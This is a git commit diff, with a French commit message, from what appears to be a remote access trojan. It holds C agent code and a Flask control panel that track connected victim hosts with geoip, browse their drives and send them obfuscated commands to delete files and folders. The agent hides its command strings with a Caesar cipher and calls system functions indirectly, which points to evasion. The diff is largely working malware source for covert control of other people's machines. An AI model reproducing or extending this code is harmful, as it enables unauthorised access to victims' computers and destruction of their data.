remove fonctionne

manque les fonctions download/upload de l'agent
This commit is contained in:
2023-02-18 15:36:36 +01:00
parent 5d1ed4e12a
commit 10a98d02d4
6 changed files with 46 additions and 63 deletions

View File

@@ -1,14 +1,6 @@
#include "file_explorer.h"
#include "utils.h"
int delete_file(char* path) {
return Api.remove(path);
}
int delete_dir(char* path) {
return Api.rmdir(path);
}
int get_object_info(char* path, struct stat* fileinfo) {
return Api.stat(path, fileinfo);
}

View File

@@ -14,8 +14,6 @@
extern API Api;
int delete_file(char* path);
int delete_dir(char* path);
int get_object_info(char* path, struct stat* fileinfo);
int get_drives_list(char* buf);
char* get_file_list(const char* dirPath, int* numFiles);

View File

@@ -195,14 +195,7 @@ retry:
goto retry;
}
delete_file(path);
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
//send failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
Api.remove(CAESAR_DECRYPT(path));
Api.free(path);
}
@@ -219,14 +212,9 @@ retry:
goto retry;
}
delete_dir(path);
Api.rmdir(CAESAR_DECRYPT(path));
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
//send failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
Api.free(path);
}
if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info

View File

@@ -155,40 +155,9 @@
if (action != "upload") {
to_send = to_send.concat(get_checked_rows());
} else {
// Open file explorer and get selected file
var promise = new Promise(function(resolve, reject) {
var input = document.createElement('input');
input.type = 'file';
input.onchange = function(event) {
var file = event.target.files[0];
if (file) {
var fullpath = file.webkitRelativePath || file.name; // get full path or name if not supported
resolve(fullpath);
} else {
reject('No file selected');
}
};
input.click();
});
promise.then(function(fullpath) {
to_send.push(fullpath);
console.log(to_send);
// Send an AJAX request to the Flask app to retrieve the updated data
$.ajax({
type: 'POST',
url: '/interact',
contentType: "application/json",
data: JSON.stringify({ to_send })
});
}).catch(function(error) {
console.error(error);
});
}
if (to_send.length > 1 && action != "upload") {
if (to_send.length > 1 || action == "upload") {
console.log(to_send);
// Send an AJAX request to the Flask app to retrieve the updated data

View File

@@ -4,6 +4,7 @@ from geoip import geolite2
from flask import Flask, request, send_file, render_template, send_from_directory, jsonify
from threading import Thread
import os, sys, time
import easygui
import select
import socket
import logging
@@ -70,30 +71,63 @@ def index() :
return send_file(index_path)
path_file_ex = ""
path_file_ex_2 = ""
FILES_=[]
CLIENT_IN_PATH = None
@app.route('/interact', methods=['POST'])
def interact() :
file_list = request.get_json()["to_send"]
action = file_list.pop(0)
if CLIENT_IN_PATH == None : return "no client"
client = CONNECT_CLIENTS[CLIENT_IN_PATH]
print(file_list)
files = []
if action != "upload" :
for f in file_list :
files.append(f.split('">')[1].replace("</a>",""))
match action :
case "download" :
print("d")
print(files)
case "upload" :
print("u")
filename = easygui.fileopenbox()
if filename == None or path_file_ex_2 == "" :
return 'no file selected'
print(f"{filename} --> {path_file_ex_2}")
case "remove" :
print("r")
for i in files :
path = path_file_ex_2 + i
if i in FILES_ :
#call remove file
client.send(CAESAR("del_file\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
else :
#call remove folder
client.send(CAESAR("del_dir\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
return 'ok'
FILES_=[]
@app.route('/get_data', methods=['POST'])
def get_data() :
global path_file_ex
global path_file_ex_2
global FILES_
global CLIENT_IN_PATH
data = []
got_path = request.get_data().decode("latin-1")
@@ -131,6 +165,7 @@ def get_data() :
path_parts = path_file_ex.split("/")
client_num = int(path_parts.pop(0).replace("Client n°",""))
if client_num != i : continue
client.send(CAESAR("get_drives").encode())
drives = recv_message_ret(client).decode("utf-8")
for d in drives :
@@ -143,7 +178,7 @@ def get_data() :
client_num = int(path_parts.pop(0).replace("Client n°",""))
if client_num != i : continue
path_parts[0] = path_parts[0] + ":"
CLIENT_IN_PATH = i
if path_parts[len(path_parts)-2] in FILES_ :
path_parts.pop(len(path_parts)-2)
path_file_ex_parts = path_file_ex.split("/")

View File

@@ -1,4 +1,5 @@
colorama
prettytable
easygui
python-geoip-python3
python-geoip-geolite2